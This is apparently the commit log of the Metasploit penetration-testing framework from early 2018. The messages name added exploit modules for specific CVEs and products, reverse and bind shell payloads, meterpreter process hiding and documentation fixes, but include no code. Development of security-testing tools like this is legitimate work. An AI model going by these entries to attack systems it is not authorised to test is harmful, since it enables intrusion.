2018-02-12 11:21:04 -06:00
follower
ecb5fffb0b
Typo fix: "withint" --> "within"
2018-02-13 06:20:57 +13:00
UserExistsError
bad1429989
reverted CachedSize values
2018-02-11 19:07:41 -07:00
UserExistsError
8ae8a0d94b
added bind_named_pipe payload
2018-02-11 18:56:50 -07:00
h00die
285b329ee1
Land #9422 abrt race condition priv esc on linux
2018-02-11 11:58:39 -05:00
Pearce Barry
add7ae8fa1
Land #9536 , Add Ubuntu notes to documentation
2018-02-11 07:27:00 -06:00
Pearce Barry
321b78b0fe
Land #9408 , Add Juju-run Agent Privilege Escalation module (CVE-2017-9232)
2018-02-11 07:19:49 -06:00
Brendan Coles
4e5cbd68b9
Add Ubuntu notes to documentation
2018-02-11 06:52:36 +00:00
Pearce Barry
4b6362a37d
Minor doc tweaks.
2018-02-10 16:14:14 -06:00
Brendan Coles
1177efef89
Update tested versions
2018-02-10 16:32:20 +00:00
h00die
fcaee81fba
Land #9467 linux priv esc against glibc origin
2018-02-10 07:20:35 -05:00
h00die
38252e4384
success against x64
2018-02-10 07:17:15 -05:00
Wei Chen
b9faa9e92b
Fix a typo
2018-02-09 20:28:55 -06:00
Wei Chen
81e0d56261
Always write the file as long as the option is set
2018-02-09 20:28:12 -06:00
Wei Chen
8aa8b6df3d
Land #9532 , Fix a bug in the MD docs references
...
Land #9532
2018-02-09 20:22:35 -06:00
Wei Chen
46a0ea6582
Fix db_spec
2018-02-09 20:06:43 -06:00
Wei Chen
958513bd86
Fix #9522 , Add output file support to the vulns command
...
This adds a new feature for the vulns command for msfconsole. It
allows the user to be able to save the vulnerability as a CSV
file.
Fix #9522
2018-02-09 19:45:46 -06:00
James Barnett
efd23d37c3
Use common error handling
2018-02-09 16:24:45 -06:00
Brendan Coles
0d573e1434
Support shell sessions
2018-02-09 16:15:04 -05:00
Brendan Coles
45249d582d
Add partition check
2018-02-09 16:15:04 -05:00
Brendan Coles
9e11632608
Add documentation
2018-02-09 16:15:04 -05:00
Brendan Coles
0ba37f8104
Add glibc $ORIGIN Expansion Privilege Escalation exploit
2018-02-09 16:15:04 -05:00
Spencer McIntyre
c612dbfdbf
Also fix GitHub related pull request links
2018-02-09 15:16:10 -05:00
Spencer McIntyre
7a18aaa74a
Fix the normalizer_spec to expect the md syntax
2018-02-09 14:56:42 -05:00
h00die
cb1b59545b
Land #9469 linux local exploit for glibc ld audit
2018-02-09 14:00:42 -05:00
Spencer McIntyre
b2d617bde7
Fix a bug in the markdown docs references
2018-02-09 13:41:39 -05:00
Matthew Kienow
b86e481f93
Land #14 , complete remote loot CRUD operations
2018-02-09 11:08:38 -05:00
g0tmi1k
90251f3e6c
Add python extension
2018-02-09 15:13:30 +00:00
g0tmi1k
e1a47cd124
Set permissions on ./tools/*.{rb,exe,sh}
2018-02-09 15:13:09 +00:00
Fab
f606773096
Add module for HP iLO CVE-2017-12542 authentication bypass
2018-02-09 11:14:20 +01:00
James Barnett
c50b8b5c4f
Store loot data as-is, not base64
2018-02-08 18:15:31 -06:00
James Barnett
bbd25fc97b
WIP: getting services add working
2018-02-08 17:20:50 -06:00
James Barnett
effd0c3db2
Fix bug when not updating type
2018-02-08 16:07:20 -06:00
James Barnett
f12405191e
Fix a few bugs and PR comments
2018-02-08 15:10:44 -06:00
James Barnett
f114092445
Merge branch 'goliath' into MS-2833
2018-02-08 14:32:03 -06:00
jbarnett-r7
aeee3bbe28
Merge pull request #15 from clee-r7/MS-2941-remote-host-update
...
MS-2941: Remote Host Update
2018-02-08 14:30:28 -06:00
Brent Cook
44b08feeb0
Land #9525 , Update mysql_hashdump for MySQL 5.7 and above
2018-02-08 13:56:26 -06:00
Brent Cook
1bb5499fce
fix whitespace
2018-02-08 13:55:40 -06:00
James Barnett
be1ce573e7
Fix style issue
2018-02-08 13:35:28 -06:00
James Barnett
1d2af0658c
Fix bug with updating loot type
2018-02-08 13:26:40 -06:00
Jacob Robles
c642d420c2
Land #9489 , Add scanner for the Bleichenbacker oracle (AKA: ROBOT)
2018-02-08 12:55:02 -06:00
Matthew Kienow
de0c4c0572
Allow update of host workspace
2018-02-08 13:19:27 -05:00
Jacob Robles
c9a3894bdb
Removed require statements
2018-02-08 12:00:47 -06:00
Osanda Malith Jayathissa
00ead05237
Update for MySQL 5.7 and above
...
Starting from MySQL 5.7 the password column was changed to authentication_string. I've added a check to determine the version. Tested on both MySQL 5.6 and 5.7.
2018-02-08 13:40:35 +00:00
Brendan Coles
5b251ae672
Support shell sessions on Debian
2018-02-08 11:29:09 +00:00
Brent Cook
b1d0529161
prefer 'shell' channels over 'exec' channels for ssh
...
If a command is not specified to CommandStream, request a "shell"
session rather than running exec. This allows targets that do not have a
true "shell" which supports exec to instead return a raw shell session.
2018-02-08 02:21:16 -06:00
Brent Cook
ca4ad1d0c4
Land #9478 , Improve Dup Scout BOF exploit
2018-02-07 23:51:14 -06:00
James Barnett
542e8a3538
Remove unneeded workspace
2018-02-07 19:51:23 -06:00
Jacob Robles
ab0d18669e
Doc Changes
2018-02-07 19:26:39 -06:00
Jacob Robles
724a0e29f6
Update Parsing, Added Rescue
2018-02-07 19:19:58 -06:00
Spencer McIntyre
b88eff7e97
Switch the docs search order
2018-02-07 16:43:15 -05:00
Spencer McIntyre
214c137b4a
Don't use parenthesis around pgets
2018-02-07 15:53:11 -05:00
jbarnett-r7
352cf295b5
Merge branch 'goliath' into MS-2833
2018-02-07 14:38:26 -06:00
James Barnett
5b35662dbf
Address PR comments
2018-02-07 14:21:31 -06:00
James Barnett
cb093d8063
Use proper logging
2018-02-07 10:25:56 -06:00
Brent Cook
d1b1d67c02
Land #9521 , flush pipe buffers when a process exists in mettle
2018-02-07 08:20:21 -06:00
Jacob Robles
e53500f397
Fixed Headings
2018-02-07 08:11:58 -06:00
Brent Cook
1af1631ef6
bump cached payload sizes
2018-02-07 08:06:37 -06:00
Brent Cook
c7ccfb7952
update payload to flush process channel buffers on exit
2018-02-07 08:04:34 -06:00
Jacob Robles
1de8ec1073
Implemented Suggested Changes
...
Updated documentation headings and function/filename formatting.
Updated module options and formatting. Added check for file to parse.
2018-02-07 08:01:54 -06:00
Brendan Coles
7cbf89f055
Add documentation
2018-02-07 13:17:54 +00:00
Brendan Coles
8168e881b3
Add documentation
2018-02-07 07:49:21 +00:00
Matthew Kienow
52b8f405bd
Refactor change host methods, remove debug output
2018-02-06 18:54:05 -05:00
James Barnett
74f811d865
Add TODOs
2018-02-06 17:31:42 -06:00
James Barnett
5bc38206c0
Few more loot bugs
2018-02-06 17:22:09 -06:00
James Barnett
0dfc10b1ec
Fix a couple of bugs in loot servlet
2018-02-06 17:02:17 -06:00
James Barnett
6e2503bbd8
Add loot update
2018-02-06 16:16:22 -06:00
Matthew Kienow
629f79ebf7
WIP remote host update
2018-02-06 16:11:46 -05:00
青鸟
0abee0303f
add change
2018-02-07 03:48:36 +08:00
Spencer McIntyre
0ad7d10e05
Use a continuation flag to disable tab completion
2018-02-06 14:44:55 -05:00
Spencer McIntyre
6d7579d907
Support breaking commands into multiple lines
2018-02-06 14:29:11 -05:00
Brendan Coles
d078ab8033
Use 'exit' CommandShellCleanupCommand
2018-02-06 13:36:36 +00:00
bluebird
278e9a92fc
add module and documentation
2018-02-06 20:30:34 +08:00
Jacob Robles
1233bb855c
msftidy checks
2018-02-05 22:54:03 -06:00
Jacob Robles
1e9e9c9be0
Ulterius Server < v1.9.5.0 Directory Traversal
...
Adds documentation and module for Ulterius Server
directory traversal vulnerability.
2018-02-05 22:50:09 -06:00
James Barnett
49b88dbef7
Pass loot search using query string
2018-02-05 18:15:05 -06:00
James Barnett
c72c41e7f3
Move loot search to db_manager
2018-02-05 16:43:02 -06:00
jbarnett-r7
f176e339bc
Merge pull request #12 from clee-r7/ms-2911
...
Ms 2911
2018-02-05 15:46:28 -06:00
James Barnett
272c5bc43e
key file isnt always necessary, but cert is.
2018-02-05 15:23:00 -06:00
Spencer McIntyre
8b56bbc541
Update mkdir as well for path expansion
2018-02-05 16:16:53 -05:00
Spencer McIntyre
c70bcb5869
Use a constant for the regex and update rmdir too
2018-02-05 16:06:16 -05:00
christopher lee
1759621b03
Make 8080 default service port
2018-02-05 15:01:03 -06:00
Spencer McIntyre
f441306036
Expand paths for meterpreter's cp, mv, and rm cmds
2018-02-05 15:22:05 -05:00
christopher lee
020a28f5c7
Unify data service command
2018-02-05 13:28:17 -06:00
Spencer McIntyre
2a79319dad
Support local knowledge base documents
2018-02-05 11:13:05 -05:00
Brendan Coles
ce6e85f64f
Add documentation
2018-02-05 13:48:41 +00:00
Brendan Coles
41dbae29a6
Add MagniComp SysInfo mcsiwrapper Privilege Escalation exploit
2018-02-05 13:47:09 +00:00
Brendan Coles
696817215b
Update tested versions
2018-02-05 04:48:52 +00:00
h00die
6721b79526
Land #9493 updates to various docs
2018-02-04 13:54:17 -05:00
Carter Brainerd (thecarterb)
e5b490c1c0
Remove weird sentence in cve_2017_8464_lnk_rce
2018-02-04 12:57:56 -05:00
Sliim
36d6162534
Add libnotify plugin
2018-02-04 17:54:27 +01:00
Brendan Coles
638d6ce33d
Add documentation
2018-02-04 04:47:46 +00:00
Brendan Coles
e158ccb20b
Support cleanup for meterpreter sessions
2018-02-04 04:38:53 +00:00
thecarterb
bde2884e11
Fixes from review
2018-02-03 11:23:58 -05:00
Brendan Coles
74ab02f27b
Support meterpreter sessions
2018-02-03 11:55:08 +00:00
UnaPibaGeek
eae9c60430
Disclaimer and wget support added and syntax errors fixed.
2018-02-03 02:18:30 -03:00
scriptjunkie
b247b8e4f6
Land #9492 , fix for reverse port forwards
2018-02-02 21:58:41 -06:00
Carter Brainerd (thecarterb)
75d2b33f2e
Add intro header to ms17_010_command
2018-02-02 20:47:29 -05:00
Carter Brainerd (thecarterb)
250a2beff7
Make options a bullet list in archmigrate
2018-02-02 20:46:07 -05:00
Carter Brainerd (thecarterb)
9e11b0629f
Fix examples section in run_as_psh
2018-02-02 20:44:46 -05:00
Carter Brainerd (thecarterb)
3733365955
Add options section to archmigrate
...
- Also make verification steps code instead of surrounded in quotes
2018-02-02 20:43:22 -05:00
Carter Brainerd (thecarterb)
3a764b174a
Remove unnecessary HRs in hashdump
2018-02-02 20:39:47 -05:00
Carter Brainerd (thecarterb)
fb0456df01
Add intro header
2018-02-02 20:38:10 -05:00
Carter Brainerd (thecarterb)
df976cf2b0
Add intro header to ad_to_sqlite
2018-02-02 20:37:29 -05:00
Carter Brainerd (thecarterb)
dff7fccc02
Fix ugly header in aws_create_iam_user
2018-02-02 20:36:31 -05:00
Carter Brainerd (thecarterb)
31f69b306b
Add description to sshkey_persistence
...
- Also make options headers to be more consistent with module options
2018-02-02 20:35:06 -05:00
Carter Brainerd (thecarterb)
664411786c
Fix a few things in getvinfo
...
- Add intro header
- Change up first sentence for clarity
- Fix `CLEAR_DTCS` header
2018-02-02 20:30:40 -05:00
Carter Brainerd (thecarterb)
c9d41f215d
Update allwinner_backdoor.md
2018-02-02 20:26:42 -05:00
Carter Brainerd (thecarterb)
d3084638fa
Update netgear_r7000_cgibin_exec docs
...
- Add 'Introduction' header
- Make module name in intro into code (easier to read)
2018-02-02 20:23:43 -05:00
Carter Brainerd (thecarterb)
6f086e9110
Fix broken link
2018-02-02 20:08:38 -05:00
Brent Cook
d5ae2bb55b
Fix pivot handler to not consume all packets
...
Packet handlers should only return true if they consume a packet.
Otherwise, they should return false so something else can consume it.
This fixes port forwards by allowing the socket handler to see packets
that were otherwise being discarded in the pivot handler.
2018-02-02 18:01:05 -06:00
James Barnett
e8b29af208
Merge branch 'goliath' into MS-2833
2018-02-02 17:32:17 -06:00
jbarnett-r7
13aa1c682d
Merge pull request #13 from clee-r7/externalize-host-data-search
...
Externalize host data search
2018-02-02 17:23:10 -06:00
Matthew Kienow
2eca3b925b
Land #9491 , remove extra HTML from doc templates
2018-02-02 18:15:02 -05:00
Brent Cook
955bb5e38a
remove extra HTML from doc markdown templates
2018-02-02 17:02:23 -06:00
Adam Cammack
d6e815e903
Land #9490 , Fix HTML escaping of Unicode in docs
2018-02-02 16:46:36 -06:00
Brent Cook
0a3fe0c608
fix html escaping for UTF-8 module metadata
2018-02-02 16:35:50 -06:00
Adam Cammack
51e098da35
Add scanner for Bleichenbacher oracle (ROBOT)
2018-02-02 16:29:07 -06:00
Matthew Kienow
dcf4171cfb
Fix query array encoding issue
2018-02-02 17:16:12 -05:00
James Barnett
326fdacc41
couple of fixes
...
- Handle bug with hostless loot
- include host data in the JSON
2018-02-02 15:44:42 -06:00
Adam Cammack
02e81d166d
Add Enum-type options for external modules
2018-02-02 14:40:04 -06:00
James Barnett
f52cf28e56
cmd_loot now queries on loot directly
2018-02-02 14:07:58 -06:00
Carter Brainerd (thecarterb)
be01da2861
Add clarification to score range
...
- Also add an introduction header
2018-02-02 15:06:42 -05:00
Adam Cammack
ab36b5dd5d
Add support for single-IP external scanners
2018-02-02 14:01:16 -06:00
Carter Brainerd (thecarterb)
1fb7c21cb7
Add length clarification to censys_search
2018-02-02 14:51:09 -05:00
Carter Brainerd (thecarterb)
b51ecda9d6
Fix CUSTOMTEMPLATE option format
2018-02-02 14:27:09 -05:00
Carter Brainerd (thecarterb)
a65604b09d
Add introduction header to web_delivery
2018-02-02 14:19:25 -05:00
Carter Brainerd (thecarterb)
2d8a249a56
Add intro header to office_ms17_11882
2018-02-02 14:12:36 -05:00
Carter Brainerd (thecarterb)
a7e9772e25
A few fixes for office_word_hta
...
- Add introduction header
- Fix `Vulnerable Application` header and make it plural (multiple apps)
- Remove unnecessary console line for example
2018-02-02 14:11:05 -05:00
Carter Brainerd (thecarterb)
daedf2a089
Fix word choice in cve_2017_8464_lnk_rce
...
- Also remove an unnecessary example step
2018-02-02 14:06:03 -05:00
Carter Brainerd (thecarterb)
0739fab092
Clarify testing environments for hp_dataprotector
2018-02-02 14:03:01 -05:00
Carter Brainerd (thecarterb)
acf7f7747d
Fix double backslashes in panda_psevents
2018-02-02 13:32:55 -05:00
Carter Brainerd (thecarterb)
67682bd243
Make webdav.md look a little better
2018-02-02 13:31:30 -05:00
Carter Brainerd (thecarterb)
d4c70a3beb
Fix md header in bypassuac_fodhelper
2018-02-02 13:28:47 -05:00
Carter Brainerd (thecarterb)
3de576a0df
Fix md header in vxsrchs_bof doc
2018-02-02 13:24:35 -05:00
Carter Brainerd (thecarterb)
9dde5ebf92
Update eternalblue docs
...
- Add a reference for OS protection rings
- Uncomment some windows versions
- Fix a word choice issue
2018-02-02 13:21:43 -05:00
Brendan Coles
686689afc0
Rename asus_infosvr_exec to asus_infosvr_auth_bypass_exec
2018-02-02 07:53:50 +00:00
Matthew Kienow
67b7af3385
Add tag conditions to host search
2018-02-02 01:33:15 -05:00
William Vu
c9473f8cbc
Land #9473 , new MS17-010 aux and exploit modules
2018-02-01 23:56:29 -06:00
zerosum0x0
ffc7e078e2
don't disconnect until cleanup
2018-02-01 21:46:56 -07:00
zerosum0x0
afef1948bf
catch exception for patched Vista
2018-02-01 21:39:25 -07:00
h00die
7cb0a118c1
Land #9399 a linux priv esc against apport and abrt
2018-02-01 21:54:54 -05:00
Brendan Coles
3c21eb8111
Update documentation
2018-02-02 02:27:13 +00:00
christopher lee
5a899d5126
Renamed msfdb to avoid omnibus collision, removed inline data service startup code
2018-02-01 16:28:36 -06:00
christopher lee
3bc0608579
Finish POC cleanup
2018-02-01 13:59:15 -06:00
christopher lee
59bc1a34d5
Remove 'puts' logging and cleanup AWS poc
2018-02-01 13:38:20 -06:00
Jacob Robles
559b592394
Corrected Documentation
2018-02-01 13:17:02 -06:00
James Barnett
fc7ab6cbff
Merge branch 'externalize-host-data-search' into MS-2833
2018-02-01 11:24:11 -06:00
Jacob Robles
bc18389284
Updated Document and Module
...
Update the documentation based on analysis of the vulnerability.
Slight modifications to the exploit module as well to reduce the
size of the generated file and reduce bad characters.
2018-02-01 10:05:50 -06:00
Brent Cook
bbb0946008
Land #9481 , Update native DNS spoofer for Dnsruby
2018-02-01 00:10:32 -06:00
RageLtMan
812d7ca739
Update native DNS spoofer for Dnsruby
...
Fix methods relating to answer/question data structures which were
set up for Net::DNS objects in the original implementation
utilizing uppercase letters in the exact same method names.
Testing:
None yet, completely forgot i even wrote this module till i saw
it in my merge conflicts after upstream merged the PR.
2018-01-31 23:44:51 -05:00
zerosum0x0
469209a2b3
prefer x64 dynamite
2018-01-31 17:19:09 -07:00
zerosum0x0
6d7b48382e
fix print arch key
2018-01-31 17:17:53 -07:00
zerosum0x0
ec26f01360
fix x64 typo
2018-01-31 17:12:07 -07:00
Brendan Coles
0d80ca6f79
Change documentation extension from rb to md
2018-01-31 23:26:30 +00:00
Brent Cook
beb4d56f7d
Land #9354 , Debut embedded httpd server (Brother printers) DoS
2018-01-31 17:03:13 -06:00
William Vu
da23432745
Update cleanup method to check CWD
2018-01-31 16:19:43 -06:00
William Vu
e60aeca2db
Pass in session to CWD check
...
Oops, used to this being accessible universally. Not the case here.
2018-01-31 16:19:43 -06:00
William Vu
199a7cc134
Check for subdirectories and relative paths
2018-01-31 16:19:43 -06:00
William Vu
09d931e392
Split assignment across two lines for clarity
...
https://github.com/bbatsov/ruby-style-guide#use-if-case-returns
2018-01-31 16:19:43 -06:00
William Vu
15ff70fbda
Add warning to FileDropper for deleting CWD
2018-01-31 16:19:43 -06:00
Matthew Kienow
5c38207a8e
WIP externalize host data search
2018-01-31 16:34:42 -05:00
Brent Cook
465f3fd766
Land #9475 , Fix import for Fix proxy authentication in reverse_http
2018-01-31 14:58:10 -06:00
Adam Cammack
64c725164a
Add macOS reverse stager binary
2018-01-31 14:27:44 -06:00
bwatters-r7
8be2b1f59e
Land # 9407, Add BMC Server Automation RSCD Agent RCE exploit module
...
Merge branch 'land-9407' into upstream-master
2018-01-31 13:35:29 -06:00
James Barnett
3ff613db8f
"fix" adding loot from the command line
2018-01-31 10:31:09 -06:00
James Barnett
e1b61b8180
Merge branch 'goliath' into MS-2833
2018-01-31 10:06:36 -06:00
zerosum0x0
d5d3769517
more robust Windows XP SP0/SP1 fix
2018-01-30 18:11:07 -07:00
zerosum0x0
a9fa1b6a4d
catch TypeError for matched pairs Frag leak
2018-01-30 10:32:59 -07:00
Jacob Robles
656bb7f567
Modified DupScout Fileformat Exploit
2018-01-30 09:12:05 -06:00
Tim W
0ce125ec55
more fixes
2018-01-30 17:54:10 +08:00
Tim W
39c07e2289
add references
2018-01-30 17:52:01 +08:00
zerosum0x0
bbeccdd024
more trace and more flexible tolerance for SP0/SP1
2018-01-29 19:57:43 -07:00
ssyy201506
9ea64db26f
Fix proxy authentication
2018-01-30 11:55:04 +09:00
zerosum0x0
7007bc1444
hopefully fixed XP SP0/SP1 issues
2018-01-29 19:11:30 -07:00
h00die
08dcb5cc49
Land #9445 fixes for ssl labs scanner module
2018-01-29 20:51:05 -05:00
zerosum0x0
cfb7aa6de7
NULL pointer checks on read/write primitives
2018-01-29 18:10:01 -07:00
zerosum0x0
b5a88e3c8b
remove VERBOSE req for prints in DBGTRACE
2018-01-29 15:01:37 -07:00
zerosum0x0
92915ebb69
Update ms17_010_command.md
2018-01-29 11:17:44 -07:00
Jacob Robles
d4a0372238
Land #9457 , Dup Scout Enterprise v10.4.16 - Import Command Buffer Overflow
2018-01-29 11:40:54 -06:00
zerosum0x0
5529bc10b3
fix docs
2018-01-29 10:20:57 -07:00
zerosum0x0
9b7c19db08
fix exception
2018-01-29 07:57:08 -07:00
zerosum0x0
a15befe94b
squelch ::Rex::Proto::SMB::Exceptions::NoReply
2018-01-29 07:48:00 -07:00
zerosum0x0
6d35d241de
fix pack error for xp
2018-01-29 07:45:07 -07:00
zerosum0x0
1a74c60339
fix output
2018-01-29 02:21:01 -07:00
zerosum0x0
0c23c5fcad
notes
2018-01-29 01:37:03 -07:00
zerosum0x0
8627f6b834
added docs
2018-01-29 01:34:25 -07:00
zerosum0x0
24a79ae7b3
clean up DBGTRACE
2018-01-29 01:18:49 -07:00
zerosum0x0
a321a70349
clean up token for earlier versions of windows
2018-01-29 01:09:31 -07:00
zerosum0x0
4bc3b31550
properly scope cleanup
2018-01-29 00:49:38 -07:00
zerosum0x0
bfef87a445
fixed up indentations
2018-01-29 00:19:42 -07:00
zerosum0x0
42dbab763b
increased leak attempts
2018-01-28 23:27:19 -07:00
zerosum0x0
7b19951317
fix the danger zone
2018-01-28 22:32:00 -07:00
zerosum0x0
9df4075d96
win10 needs full path to IPC$, should fix in Rex too
2018-01-28 21:15:13 -07:00
zerosum0x0
7cc00c0e10
fixed padding/offsets for win 10
2018-01-28 21:10:51 -07:00
zerosum0x0
237c3f7b2c
crash 10.14393... should fail to leak transaction
2018-01-28 18:52:43 -07:00
zerosum0x0
2723b328aa
misc tidying, added more randomness
2018-01-28 18:20:18 -07:00
zerosum0x0
6c2d5b1fc2
semi-completed exploit files
2018-01-28 18:13:25 -07:00
Tim W
9aaf93ff3b
fix fix for older osx versions
2018-01-29 03:50:39 +08:00
Christian Mehlmauer
73b2b8dab1
Land #9470 , Update docker image dependencies
...
fix #8211
2018-01-28 15:14:33 +01:00
Brent Cook
0408dd89a4
bump travis and rvm ruby versions
2018-01-28 03:09:34 -06:00
Brent Cook
f681077818
update dockerfile to include newer
2018-01-28 02:47:09 -06:00
Brendan Coles
092eb0cd11
Add glibc LD_AUDIT Arbitrary DSO Load Privilege Escalation exploit
2018-01-28 05:11:38 +00:00
zerosum0x0
c8ff2adf06
added support for smb client
2018-01-27 20:49:17 -07:00
Brendan Coles
23f4bf1583
Add documentation
2018-01-27 03:15:06 +00:00
William Vu
617545527d
Land #9466 , metasploit-payloads bump to 1.3.28
2018-01-26 17:57:26 -06:00
Brent Cook
d82b8cbf63
bump payloads, fix php meterpreter
...
a syntax error slipped in, let's fix it
2018-01-26 17:48:11 -06:00
Pedro Ribeiro
54c6aa7629
Add full disclosure URL
2018-01-26 15:35:18 +07:00
Aaron Soto
c390696ddf
Land #9379 , Oracle Weblogic RCE exploit and documentation
2018-01-25 21:47:18 -06:00
jbarnett-r7
be0ca39ac3
Merge pull request #11 from clee-r7/fix-workspace-query-data-remote-http-data-service
...
Fix issue with workspace in query data
2018-01-25 16:48:31 -06:00
Matthew Kienow
3a01a16dcb
Fix issue with workspace in query data
2018-01-25 17:29:58 -05:00
William Vu
309deb9ee7
Land #9446 , Post API fix for setuid_nmap
2018-01-25 16:00:40 -06:00
Sliim
7f1803590e
Fixed on_db_*_state db events
...
Missed arguments for on_db_host_state and on_db_service_state methods.
Call these methods only when host/service state changed and pass the
old state as argument `ostate` (not sure about what `ostate` meens..)
2018-01-25 21:47:38 +01:00
Jeffrey Martin
dee1ef0185
Land #9462 , add missing payload tests
2018-01-25 12:34:36 -06:00
Jeffrey Martin
159de817f7
add missing payload tests
2018-01-25 11:09:41 -06:00
jbarnett-r7
8e09c9d0f0
Merge pull request #10 from clee-r7/add-http-put-request
...
Add HTTP PUT request method
2018-01-25 10:13:42 -06:00
Matthew Kienow
4989e94e68
Add HTTP PUT request method
2018-01-25 10:40:57 -05:00
h00die
62573731fe
remove empty line
2018-01-24 20:54:21 -05:00
h00die
4be0e7f9ef
final fixes for brother debut dos
2018-01-24 20:53:08 -05:00
James Barnett
858981d814
Convert hosts delete to use id method
2018-01-24 17:38:51 -06:00
James Barnett
5505996518
Add loot delete
2018-01-24 16:42:16 -06:00
Daniel Teixeira
4cd5801e6f
Dup Scout Import Command Buffer Overflow
2018-01-24 20:47:46 +00:00
Daniel Teixeira
c1ff0c1e00
Dup Scout XML documentation
2018-01-24 20:47:02 +00:00
Kevin Kirsche
7b01785347
Add documentation to pull request
...
Added credit to @asoto-r7 for the documentation
2018-01-24 14:36:16 -05:00
bwatters-r7
fd4d5756bf
Land #9335 , Added socket bind port option for reverse tcp payload.
...
Merge branch 'land-9335' into upstream-master
2018-01-24 11:50:10 -06:00
Matthew Kienow
6caba521d3
Land #9424 , Add SharknAT&To external scanner
2018-01-24 12:40:29 -05:00
Brent Cook
a947f89960
add missing gemfile.lock update
2018-01-24 07:18:47 -06:00
Matthew Kienow
89a44e869e
Land #5 , Add HTTPS support
2018-01-24 00:38:53 -05:00
Matthew Kienow
2ffd627c56
Merge branch 'goliath' into add_https
2018-01-23 18:59:59 -05:00
Pearce Barry
eb572a3ef5
Land #8632 , colorado ftp fixes
2018-01-23 17:45:07 -06:00
Matthew Kienow
1c3b43b8cc
Merge pull request #7 from clee-r7/MS-2891
...
Land #7 , fix test issues
2018-01-23 18:27:05 -05:00
James Barnett
bfcb7f2e50
Add long option for cert.
2018-01-23 17:10:10 -06:00
bwatters-r7
a27cfeaea9
Land #9416 , Sync Breeze Enterprise 9.5.16 Import Command buffer overflow
...
Merge branch 'land-9416' into upstream-master
2018-01-23 16:35:51 -06:00
bwatters-r7
3922844650
ninja style changes
2018-01-23 16:34:49 -06:00
Adam Cammack
d81d50b491
Land #9430 , Improve Hyper-V checkvm checks
2018-01-23 15:22:12 -06:00
bwatters-r7
fdefa4b244
Land #9449 , bump metasploit-payloads from 1.3.25 to 1.3.27
...
rapid7/metasploit-payloads#264
rapid7/metasploit-payloads#263
Merge branch 'land-9449' into upstream-master
2018-01-23 13:41:28 -06:00
bwatters-r7
8eb6df41e3
Land #9205 , Documentation for Kaltura <= 13.1.0 RCE (CVE-2017-14143)
...
Merge branch 'land-9205' into upstream-master
2018-01-23 12:45:59 -06:00
bwatters-r7
04806bc84a
Updates to documentation per h00die
2018-01-23 12:44:39 -06:00
bwatters-r7
685a950077
Land #9114 , Add module for Kaltura <= 13.1.0 RCE (CVE-2017-14143)
...
Merge branch 'land-9114' into upstream-master
2018-01-23 12:35:59 -06:00
Adam Cammack
d08510596f
Keep reading external messages on stderr eof
2018-01-23 10:46:06 -06:00
christopher lee
dd65141a22
Merge branch 'goliath' into MS-2891
2018-01-23 10:45:44 -06:00
christopher lee
802b3db766
Merge branch 'goliath' of github.com:clee-r7/metasploit-framework into goliath
2018-01-23 10:45:22 -06:00
William Vu
5684b9ed7c
Readd dropped return during refactoring
2018-01-23 10:12:15 -06:00
Brent Cook
17bf0dcdfb
Land #9452 , expose linux/osx meterpreter process hiding
2018-01-23 10:07:58 -06:00
Brent Cook
df633247bb
expose linux/osx process rename functionality
2018-01-23 09:56:12 -06:00
Adam Cammack
be08af5404
More Python style fixes
2018-01-23 09:17:22 -06:00
bwatters-r7
d62d61667d
bump metasploit-payloads
2018-01-23 07:26:08 -06:00
Vishal Gupta
c13e02431d
updated
2018-01-23 06:19:44 -05:00
Vishal Gupta
a15856450a
updated
2018-01-23 05:48:19 -05:00
Vishal Gupta
2110cbe466
updated
2018-01-23 05:38:24 -05:00
Vishal Gupta
61433c6d55
updated
2018-01-23 05:05:48 -05:00
William Vu
d3b3946669
Use Msf::Post::File#setuid? in setuid_nmap
2018-01-23 02:05:26 -06:00
William Vu
18b8fc2e0e
Add Msf::Post::File#setuid?
2018-01-23 02:05:26 -06:00
RageLtMan
ed47efdadc
Silence tidy failures
2018-01-23 02:03:50 -05:00
RageLtMan
721163bd67
Python shell via reverse UDP
...
Python-based UDP egress shell, another PoC of the protocol used
as a raw transport.
2018-01-23 02:00:56 -05:00
RageLtMan
ef1d4ddb03
Add UDP handlers and payloads (redux)
...
This is a repackaging effort for the work i originally pushed in
6035. This segment of the PR provides UDP session handlers for
bind and reverse sessions, a Windows Metasm stager (really the
TCP stager with a small change), and a pair of socat payloads for
testing simple UDP shells. Netcat or any scripting language with
a sockets library is sufficient to use these sessions as they are
stateless and simple.
Testing of this PR requires rex/core #1 and rex/socket #2
The SSL testing which was being done on 6035 is backed out, left
for a later time when we can do DTLS properly.
2018-01-23 02:00:55 -05:00
Brent Cook
03d1523d43
Land #6611 , add native DNS to Rex, MSF mixin, sample modules
2018-01-22 23:54:32 -06:00
Brent Cook
afaf832034
remove verbose error from library, bubble consistent exceptions to the module instead
2018-01-22 23:52:20 -06:00
Brent Cook
a6e5944ec5
fix msftidy, add nicer errors on bind failure
2018-01-22 23:37:39 -06:00
Brent Cook
84b463f785
dnsruby is already a dependency
2018-01-22 23:37:15 -06:00
Brent Cook
aae77fc1a4
Land #9349 , GoAhead LD_PRELOAD CGI Module
2018-01-22 23:10:36 -06:00
Pedro Ribeiro
621868b7fb
Add CVE numbers
2018-01-23 11:26:39 +07:00
Adam Cammack
670055da4b
Prevent leaked sockets in edge cases
2018-01-22 22:14:16 -06:00
Adam Cammack
c76fa2c58f
Vendor async_timeout
2018-01-22 22:12:28 -06:00
Adam Cammack
964810146a
Python library style fixes
2018-01-22 22:10:32 -06:00
James Barnett
d10cd2d92a
Add verification methods to HTTPS
...
This commit enables peer verification for SSL.
It also gives the user options to verify the server if the server uses a self-signed cert.
There is an override to skip verification as well.
2018-01-22 18:08:16 -06:00
Brent Cook
9a35c324c0
Land #9352 , Pull out HTTP-specific code from PacketDispatcher
2018-01-22 16:52:24 -06:00
Brent Cook
d1569f8280
Land #9413 , Expand the number of class names searched when checking for an exploitable JMX server
2018-01-22 16:49:01 -06:00
Brent Cook
10fde42adc
Land #9431 , Fix owa_login to handle inserting credentials for a hostname
2018-01-22 16:46:39 -06:00
Brent Cook
b12953fa85
Land #9404 , update module author
2018-01-22 16:41:50 -06:00
Brent Cook
c35eb0de31
Land #9398 , allow UTF-8 module names and authors
2018-01-22 16:41:30 -06:00
Brent Cook
6aebc1fdbd
remove more checks
2018-01-22 16:40:30 -06:00
Brent Cook
04d305feb3
update SSL Labs scanner with new API, be robust
...
This updates the SSL Labs scanner to know about new additions to the API, and prevents the module from breaking again just because there is new JSON in the output. I couldn't figure out how to get the Api class to print messages normally, and there is some other output that needs to be added. But the module does work again.
2018-01-22 16:32:16 -06:00
UnaPibaGeek
ae93162faf
HSTS eraser module
2018-01-22 18:53:16 -03:00
